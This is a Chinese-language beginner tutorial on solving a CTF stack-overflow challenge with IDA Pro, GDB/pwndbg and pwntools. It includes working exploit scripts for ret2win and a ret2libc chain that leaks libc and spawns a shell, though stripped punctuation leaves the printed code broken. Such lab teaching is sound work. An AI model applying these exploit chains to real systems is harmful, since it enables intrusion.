尧图网站设计 尧图网站设计YAOTU DESIGN
ARTICLE DETAIL

资讯详情

深耕网站设计与一线实操的经验洞察。

新手别怕!用IDA Pro分析CTF PWN栈溢出题,保姆级实战复盘(附Python脚本)

新手别怕!用IDA Pro分析CTF PWN栈溢出题,保姆级实战复盘(附Python脚本) 逆向工程实战用IDA Pro解剖CTF栈溢出漏洞的完整指南第一次打开IDA Pro时那个闪烁的光标和密密麻麻的汇编代码确实让人望而生畏。但别担心每个逆向高手都曾经历过这个阶段。本文将带你从零开始用IDA Pro拆解一个典型的CTF栈溢出题目我会像拆解乐高积木一样一步步展示如何把复杂的二进制程序还原成可理解的逻辑模块。1. 逆向工程基础工具链配置工欲善其事必先利其器。在开始分析之前我们需要配置好逆向工程的标准工具包IDA Pro 7.7主力的静态分析工具建议使用最新版以获得更好的反编译效果GDB with pwndbg动态调试利器pwndbg插件提供了更友好的堆栈可视化Python 3.8用于编写漏洞利用脚本配合pwntools库更高效checksec快速检查二进制文件的安全机制# 安装基础工具链 sudo apt update sudo apt install -y gdb python3 python3-pip pip install pwntools git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.sh配置完成后建议创建一个标准的分析目录结构/CTF-Challenge/ ├── binary # 存放目标二进制文件 ├── scripts # IDA脚本和Python利用代码 ├── notes # 分析笔记 └── payloads # 生成的攻击载荷2. 二进制文件初步分析拿到一个CTF题目我们首先需要对二进制文件进行基础检查。以典型的栈溢出题目vuln_program为例$ file vuln_program vuln_program: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]..., not stripped $ checksec vuln_program [*] /CTF-Challenge/binary/vuln_program Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments从检查结果可以看出几个关键信息64位ELF文件动态链接符号表未剥离not stripped未启用栈保护No canary未启用数据执行保护NX disabled未启用地址随机化No PIE这些安全机制的缺失意味着这是一个典型的栈溢出漏洞利用场景。3. IDA Pro静态分析实战启动IDA Pro加载二进制文件后我们会看到以下关键视图3.1 函数识别与流程图分析IDA会自动识别主要函数并生成控制流图。按空格键可以在图形视图和文本视图间切换。对于栈溢出题目我们特别关注main函数程序入口点存在危险函数调用的地方如gets,scanf,strcpy等任何与flag相关的字符串引用在反编译视图F5中我们可能会看到类似这样的伪代码int __cdecl main(int argc, const char **argv, const char **envp) { char buf[32]; // [rsp0h] [rbp-20h] BYREF setbuf(stdin, 0); setbuf(stdout, 0); puts(Enter your payload:); gets(buf); return 0; }3.2 栈帧布局分析在IDA中查看栈帧布局是理解漏洞的关键。通过Stack View我们可以看到偏移量大小变量名类型-0x2032bufchar[32]0x88rbpuint64_t0x108ripuint64_t这个表格清晰地展示了缓冲区与返回地址的相对位置。当buf被溢出时数据会依次覆盖填充buf的32字节覆盖保存的rbp8字节最终覆盖返回地址rip8字节3.3 关键地址收集在构造payload前我们需要收集几个关键地址buf的起始地址用于计算偏移后门函数地址如果有如win或system的地址有用的gadget地址如pop rdi; ret等在IDA中可以通过这些方法获取地址# buf地址查看反编译代码中的栈偏移 buf_addr 0x7fffffffe4e0 # 示例地址实际从IDA获取 # 函数地址在函数列表双击查看 win_addr 0x400767 # 假设的后门函数地址 # gadget地址使用ROPgadget工具 !ROPgadget --binary vuln_program | grep pop rdi4. 动态调试与漏洞验证静态分析只能告诉我们程序应该如何工作而动态调试则展示它实际如何运行。我们用GDB配合pwndbg进行验证4.1 基础调试流程gdb vuln_program b *main # 在main函数设置断点 r # 运行程序当程序暂停在main函数时我们可以检查栈布局pwndbg telescope $rsp 20 00:0000│ rsp 0x7fffffffe4e0 ◂— 0x0 ... ↓ 08:0040│ 0x7fffffffe520 —▸ 0x7ffff7e0c083 (__libc_start_main243) ◂— mov edi, eax4.2 计算精确偏移为了确定覆盖返回地址需要的精确偏移我们可以使用cyclic模式from pwn import * payload cyclic(100)发送这个payload后程序会崩溃并显示被覆盖的返回地址pwndbg x/gx $rsp 0x7fffffffe528: 0x6161616161616166 (faaaaaaa)使用cyclic查找可以确定偏移量cyclic_find(0x6161616161616166) # 返回40这意味着我们需要40字节填充8字节返回地址来精确控制程序流。5. 漏洞利用脚本开发有了前面的分析基础我们现在可以编写完整的利用脚本。以下是Python pwntools的典型利用代码#!/usr/bin/env python3 from pwn import * context(archamd64, oslinux) binary ELF(./vuln_program) if args.REMOTE: p remote(ctf.example.com, 1234) else: p process(./vuln_program) # 计算padding长度 padding bA * 40 # 构造ROP链 rop ROP(binary) rop.call(binary.symbols[win]) # 假设有win函数 payload padding rop.chain() p.sendlineafter(b:, payload) p.interactive()如果题目需要更复杂的利用比如泄露libc地址脚本会包含更多步骤# 泄露libc地址的典型流程 pop_rdi 0x4007a3 # pop rdi; ret gadget puts_plt binary.plt[puts] puts_got binary.got[puts] main_addr binary.symbols[main] # 第一阶段payload泄露puts地址 payload1 padding p64(pop_rdi) p64(puts_got) p64(puts_plt) p64(main_addr) p.sendlineafter(b:, payload1) # 解析泄露的地址 leaked_puts u64(p.recvline().strip().ljust(8, b\x00)) libc.address leaked_puts - libc.symbols[puts] # 第二阶段payload调用system(/bin/sh) system_addr libc.symbols[system] bin_sh next(libc.search(b/bin/sh)) payload2 padding p64(pop_rdi) p64(bin_sh) p64(system_addr) p.sendlineafter(b:, payload2)6. 高级技巧与常见问题解决在实际比赛中你可能会遇到各种变种题目。这里分享几个实用技巧6.1 栈对齐问题在x86-64架构中某些函数调用需要栈16字节对齐。如果遇到奇怪的崩溃可以尝试添加一个简单的ret gadget来调整rop.raw(0x40057e) # 只是一个ret指令的地址 rop.call(system)6.2 对抗静态分析有些题目会使用反调试或代码混淆技术。IDA中的应对方法识别函数调用约定按Y键修改函数原型修复栈指针AltK调整栈指针偏移创建结构体在栈变量上右键创建结构体提高可读性6.3 处理ASLR当面对地址随机化时记住这些要点先泄露一个已知指针如GOT表条目计算与目标函数的偏移在后续payload中使用计算出的地址# 计算libc基址 leaked_puts u64(p.recv(6).ljust(8, b\x00)) libc_base leaked_puts - libc.symbols[puts] system libc_base 0x4f5507. 从解题到精通学习路径建议掌握了基础栈溢出后建议按照这个路线图继续提升基础漏洞类型格式化字符串漏洞堆溢出unlink, UAF等整数溢出保护机制绕过Canary绕过泄露或暴力破解NX绕过ROP, ret2libcPIE绕过部分覆盖或泄露高级利用技术House of系列堆利用FSOPFile Stream Oriented ProgrammingSROPSigreturn Oriented Programming推荐的学习资源组合实践平台pwnable.kr渐进式挑战pwnable.tw现实场景题目Hack The Box综合渗透练习参考书籍《漏洞战争》- 实战案例分析《二进制分析实战》- 深入逆向技术《CTF竞赛权威指南》- 全面竞赛技巧记住逆向工程就像学习一门新的语言——开始时每个符号都陌生但随着练习你会逐渐发展出直觉。我第一次成功利用栈溢出漏洞时那种啊哈时刻的兴奋感至今难忘。现在轮到你了打开IDA开始你的逆向之旅吧。当遇到困难时不妨休息一下往往解决方案会在你放松时突然闪现。
返回列表